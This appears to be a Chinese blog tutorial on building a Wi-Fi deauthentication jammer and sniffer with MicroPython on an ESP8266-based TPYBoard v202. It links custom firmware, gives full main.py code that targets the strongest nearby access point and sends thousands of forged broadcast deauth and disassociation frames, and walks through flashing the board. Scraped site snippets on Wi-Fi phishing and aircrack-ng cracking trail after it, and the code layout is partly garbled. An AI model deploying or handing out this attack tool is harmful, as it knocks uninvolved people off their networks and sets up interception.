MicroPython实现wifi干扰与抓包
0×00前言
之前做的WIFI攻击实验都是基于arduino环境开发的,最近想尝试一下使用micropython完成deautch(解除认证)攻击。本次开发板使用的还是TPYBoardv202。

0×01实现原理
a) 通过查阅资料和arduino的源码分析,了解到实现攻击其实就是发送IEEE802.11协议解除认证包,根据MAC层帧格式发送自定义的虚假deautch数据包。
b) 调用ESP8266SDK中wifi_send_pkt_freedom函数,发送攻击包。
0×02攻击构思
a) 程序一开始扫描附件的AP。
b) 找到信号最强的AP,获取到他的MAC地址(bssid)和信道。
c) 将TPYBoardv202切换到同攻击AP相同的信道。
d) 使用攻击AP的MAC地址,组合deauth解除认证包发送。
0×03编译烧写固件及程序源码
1、 编译固件
现有的micropython-esp8266固件中,并没有引出wifi_send_pkt_freedom函数,于是
我自己动手编译了一次固件,地址:
https://github.com/PakchoiFood/micropython-deauth
大家可以自行下载烧写使用,如果有的小伙伴想自己编译修改固件的话,请参考:
https://github.com/micropython/micropython/tree/master/esp8266
需要注意:在编译esp8266-sdk时,注意版本必须是1.3.0版本,否则wifi_send_pkt_freedom函数会一直返回-1失败。
下载后解压,文件如下:

firmware.bin文件:micropython-esp8266生成的固件。
增加的内容:
setAttack函数
参数:int类型(信道)
功能:设置esp8266的信道
send_pkt_freedom函数
参数:bytes数组(定义的数据包)
flash_download_tools_v3.3.6_win.rar:烧写固件的工具。
MicroPythonFileUploader.rar:用于将程序下载到TPYBoardv202Flash的工具。
main.py文件:程序源码文件,主要实现附件AP的扫描、数据包的组合和调用发送。
import time import uos import wireless sta_if=wireless.attack(0)#0:STA 模式 sta_if.active(True) ap_list=sta_if.scan() print(ap_list) ssid='' bssid=''#bssid:AP MAC address channel=''#信道 _client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认 def deauth(_ap,_client,type,reason):
# 0 - 1 type, subtype c0:
deauth (a0: disassociate)
# 2 - 3 duration (SDK takes
care of that)
# 4 - 9 reciever (target)
# 10 - 15 source (ap)
# 16 - 21 BSSID (ap)
# 22 - 23 fragment & squence number
# 24 - 25 reason code (1 = unspecified reason)
packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00,
0x00,0x01, 0x00])
for i in range(0,6):
packet[4 + i] =_client[i]
packet[10 + i] = packet[16 + i] =_ap[i]
#set type
packet[0] = type;
packet[24] = reason
result=sta_if.send_pkt_freedom(packet)
if result==0:
time.sleep_ms(1)
return True
else:
return False if __name__=="__main__":
max_rssid=0
max_id=0
num=0
#获取信号最强的AP 进行攻击
for i in ap_list:
if max_rssid==0: max_rssid=i[3]#rssid
else: if i[3]>max_rssid: max_rssid=i[3] max_id=num
num+=1
ssid=ap_list[max_id][0]
bssid=ap_list[max_id][1]
channel=ap_list[max_id][2]
print('ssid:',ssid,'-bssid:',bssid)
print('-channel:',channel,'-rssid:',max_rssid)
sendNum=5000#攻击次数
print('******************************')
if sta_if.setAttack(channel):
print('Set Attack OK')
time.sleep_ms(100)
print('---deauth runing-----')
for i in range(0,sendNum): r_=deauth(bssid, _client, 0xC0,
0x01) if r_: deauth(bssid, _client, 0xA0,
0x01) deauth(_client, bssid, 0xC0,
0x01) deauth(_client, bssid, 0xA0,
0x01) time.sleep_ms(5) else: print('---deauth fail-------') time.sleep_ms(5000)
sniffer文件夹下的main.py实现网络抓包功能。
import wireless import time #可以指定信道1~13
sniffer=wireless.sniffer(6) #0:表示从信道1开始 定时切换信道 #sniffer=wireless.sniffer(0)
烧写固件
1、 TPYBoardv202使用microUSB数据线接入电脑。查看安装的usb转串的端口。打开电脑的设备管理器(这里是COM57)。

2、 解压flash_download_tools_v3.3.6_win.rar,双击运行ESPFlashDownloadTool_v3.3.6.exe。
3、选择firmware.bin固件文件,地址0×00000,其他参数根据下图设置。我的COM选择COM57,根据自己的实际端口选择,波特率选择115200。

4、点击【START】,界面提示等待上电同步。按住板子上的FLASH键不松,同时按一下RST键复位上电。左侧空白区显示读取的MAC地址,状态显示下载中,此时松开按键即可。

5、等待下载完毕,关闭软件退出。
下载程序
6、解压MicroPythonFileUploader.rar,双击运行MicroPythonFileUploader.exe。

此软件需要.NETFramework4.2及以上版本,若打开失败,请安装.NETFramework后再使用。
.NETFramework4.5下载地址:http://www.tpyboard.com/download/drive/174.html
7、选择COM57,点击【Open】打开串口。

8、点击右侧的文件夹图标的按钮,选择main.py文件。

9、此时可以点击【Send】,将程序发送给TPYBoardv202。发送成功后,程序自动运行。

10、接下来将sniffer下的main.py同样的是方式下载到板子里。(文件会覆盖)
打开串口助手,就可以看到esp8266抓包的数据。

MicroPython实现wifi干扰与抓包的更多相关文章
- 笔记本设置wifi热点并抓包
现在很多人喜欢蹭wifi热点,这里演示一下怎么利用笔记本设置wifi热点来钓鱼.本机是win10操作系统. 一.设置笔记wifi热点:右键点击右下角网络图标 -> 打开“网络和Internet设 ...
- Mac下抓包
Wireshark针对UNIX Like系统的GUI发行版界面采用的是X Window(1987年更改X版本到X11).Mac OS X在Mountain Lion之后放弃X11,取而代之的是开源的X ...
- Mac OS X上使用Wireshark抓包
Wireshark针对UNIX Like系统的GUI发行版界面采用的是X Window(1987年更改X版本到X11).Mac OS X在Mountain Lion之后放弃X11,取而代之的是开源的X ...
- Android抓包方法(三)之Win7笔记本Wifi热点+WireShark工具
Android抓包方法(三) 之Win7笔记本Wifi热点+WireShark工具 前言 做前端测试,基本要求会抓包,会分析请求数据包,查看接口是否调用正确,数据返回是否正确,问题产生是定位根本原因等 ...
- Android通过tcpdump抓包(wifi, 2g, 3g都可以)
http://blog.csdn.net/deng529828/article/details/20646197 1. 手机要有root权限 2. 下载tcpdump http://www.str ...
- iOS Paros 连接在同一WIFI下的网络抓包
图文详解: 说说网络抓包,几天前的事了,想抓个包看看 某爱网(全名自己脑补)的数据,就上网找了一下抓包,以前经常抓接口,时间长了忘了.那时候也不是用苹果手机抓取的,前几天试着抓了一下,今天不适合敲代码 ...
- 前段时间碰到的一些问题(免费WiFi设置+fiddler对手机进行抓包+fiddler抓不到https的请求)
这段时间转入移动端测试,对这块比较陌生,工作开展起来比较困难,所以好多东西都只是以解决问题为第一目标,没有去细细推敲其中原理,可能会有些语无伦次之感,但还是记一下当时解决问题的大致思路,供以后参考. ...
- Airmon-ng抓包&破解wifi
安装 aircrack获取(aircrack源) sudo apt-get install aircrack-ng 配置 安装组件 sudo apt-get install build-essent ...
- 随身Wifi+win7 搭建http代理 域名劫持 抓包 内容篡改实验环境
需求来源: 1.平板或手机是个封闭系统无法给wifi设置代理 2.需要利用filllder进行抓包,内容篡改等实验 拥有硬件资源:PC机器 + 小米随身wifi 方案1: NtBind Dns + N ...
随机推荐
- ECharts Map 属性详解
$(function() { // 路径配置 require.config({ paths : { // echarts: 'http://echarts.baidu.com/build/dist' ...
- 使用Win7 64位旗舰版光盘映像安装Windows Home basic 64位操作系统
工作当中需要安装Windows home basic 64位操作系统,苦于手头没有该版本的安装光盘,也没时间下载其安装映像.因此,在现有资源“cn_windows_7_ultimate_with_sp ...
- day23-2 __call__、__str__和__del__
目录 __call__ __str__ __del__ __call__ 对象后面加括号调用时,会自动触发执行 注:构造方法的执行是由创建对象触发的,即:对象=类名();而对于__call__方法的执 ...
- 小b重排字符串
2485 小b重排字符串 2 秒 262,144 KB 5 分 1 级题 小b有一个字符串S,现在她希望重排列S,使得S中相邻字符不同. 请你判断小b是否可能成功. 样例解释:将"aab ...
- 使用JQuery MiniUI,json数据构建TreeGrid(树图)
index.html直接上代码. 需要引用MiniUI的boot.js <!DOCTYPE html> <html> <head> <meta charset ...
- ubuntu 18.04 安装.net core
要求某些软件包保持现状,就是它们破坏了软件包间的依赖关系那就只好在琢磨了,然后就发现了在github有安装的方法因为是18.04 所以 wget -qO- https://packages.micro ...
- Android 控件布局常用的属性
<!--单个控件经常用到android:id —— 为控件指定相应的IDandroid:text —— 指定控件当中显示的文字,需要注意的是,这里尽量使用strings.xml文件当中的字符串a ...
- react-native 手势响应以及触摸事件的处理
react-native 的触摸事件: TouchableHighlight , TouchableNativeFeedBack , TouchableOpacity , TouchableWitho ...
- 洛谷——P1731 [NOI1999]生日蛋糕
P1731 [NOI1999]生日蛋糕 搜索+剪枝 常见的剪枝: 若当前状态+后面所要搜索的最差的状态$>$或是$<$最后的状态,就返回 预处理最差的状态 #include<iost ...
- ehcache的学习笔记(一)
学习ehcache文档: 介绍:Ehcache是一个开源的项目,用来提高性能的基于标准化的缓存,无需使用数据库,简化了可扩展性.他是最广泛使用的基于java的缓存,因为他是强壮的,被证实的,功能全面的 ...